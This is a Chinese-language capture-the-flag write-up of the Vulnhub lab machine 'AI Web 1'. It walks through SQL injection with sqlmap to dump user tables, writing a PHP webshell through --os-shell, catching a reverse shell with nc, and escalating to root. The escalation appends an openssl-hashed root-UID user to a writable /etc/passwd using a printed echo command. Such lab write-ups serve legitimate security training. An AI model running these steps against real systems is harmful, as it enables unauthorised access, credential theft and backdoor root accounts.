AI Web 1靶机渗透实战-vuluhub系列(一)

这是vulnhub靶机系列文章的第一篇,接下来这段时间会分享曾经做过比较接近实战的靶机,把思路分享给大家...

靶机下载链接:https://www.vulnhub.com/entry/ai-web-1,353/

 

#001 环境搭建(nat)

攻击机kali:192.168.136.129

靶机AI-web-1:192.168.136.142

 

#002 实战writeup

寻找靶机ip,netdiscover -i eth0,发现靶机ip为192.168.136.142

Nmap扫描以下端口开放情况,发现只开启了80端口

访问了一下80端口,页面只有一句话,所以只有爆破一下目录看下有没有突破口了

dirb跑一下目录,目录也是少得可怜只有两个有用的,看一下robots.txt文件看下,发现两个目录,访问第一个没权限,第二个看着是上传目录

接着访问/se3reTdir777/uploads/目录还是没权限

然后我就尝试只访问/se3reTdir777/,发现是一个选择框,应该是存在注入的

#003 sqlmap注入

构造完payload,显示正常,存在注入

因为最近想把sqlmap用熟一点,所以用burp抓包,然后加一个*号告诉sqlmap注入点,保存为1.txt,然后用sqlmap -r跑包

爆数据库 --dbs,可以看到有这么2个数据库

爆aiweb1的表名 -D aiweb1 --tables,可以看到有两个表

 


爆user表的列名 -D aiweb1 -T user --columns


爆列名的内容 -D aiweb1 -T user --columns –dump


然后再把systemUser的内容爆出来-D aiweb1 -T systemUser --columns --dump

 

#004 尝试--os-shell,写入一句话

判断当前用户,尝试--os-shell


因为要网站绝对路径,所以再尝试继续爆破一下robots文件里的爆出的目录下还有没有目录,或许存在phpinfo信息泄露,结果爆破m3diNf0目录下有一个info.php

访问一下info.php,发现是phpinfo探针,找到网站绝对路径

尝试--os-shell,但是显示没有写入权限,所以要找一个可以写入的路径,把所有我所能知道的路径都试了一下,终于这个uploads的目录是可以成功写入的

查看权限,发现是普通网站用户权限,权限很低

用echo写入一句话木马,方便上传文件提权

蚁剑测试连接成功

 

 

#005 提权分析

利用蚁剑把linux提权辅助工具上传到目标,然后给权限,并执行,但是并没有给出可利用的exp


接下来再查看一下目录的文件看一下有没有可利用的,linux有种提权方式是直接修改/etc/passwd文件,有写入权限的话直接添加一个root身份的用户,从而提权

ls -l /etc/passwd  #看一下权限,发现竟然可以写,ok直接添加

#006 提权操作

直接利用kali的openssl工具生成相应格式的密码

openssl passwd -1 -salt panda panda   //用openssl生成用户,用户名为panda ,密码为 panda
$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/   //生成后/etc/passwd储存用户格式的文件
panda:$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/:0:0:root:/root:/bin/bash  //写入/etc/passwd文件的格式


把文件写入/etc/passwd文件下

echo 'panda:$1$panda$OuzPB6mr8Cmrm7FQ5zoj5/:0:0::/root:/bin/bash' >>/etc/passwd    //把文件写入到/etc/passwd文件里面

查看一下/etc/passwd文件内容,可以看到成功写入了,至于为什么是panda2,因为一开始测试写入格式错了,所以重新写了个panda2,步骤不变

然后su切换到panda用户,但是需要一个标准的终端,但是我在蚁剑终端多次尝试利用php脚本反弹shell失败,然后利用sqlmap的os-shell执行反弹也失败,然后我就上传了一个执行命令的马

然后利用burp抓包,执行php反弹shell命令,注意payload需要url编码之后再执行,否则不识别

 

然后nc监听6666端口,成功接收到反弹的shell,python一句话获取标准终端

su panda2 输入密码panda2,顺利提权到root

 

 

#007 总结归纳

判断注入,利用sqlmap自动化注入

利用sqlmap参数判断数据库用户以及权限

利用os-shell时,需要找到网站绝对路径并且路径需要允许写入

利用echo命令直接写入一句话木马

反弹shell可利用上传执行命令的一句话,用burp执行反弹(url编码后)

Linux提权的姿势:修改/etc/passwd文件直接添加root身份的用户提权

kali中openssl的使用

原文地址:https://www.cnblogs.com/PANDA-Mosen/p/13172299.html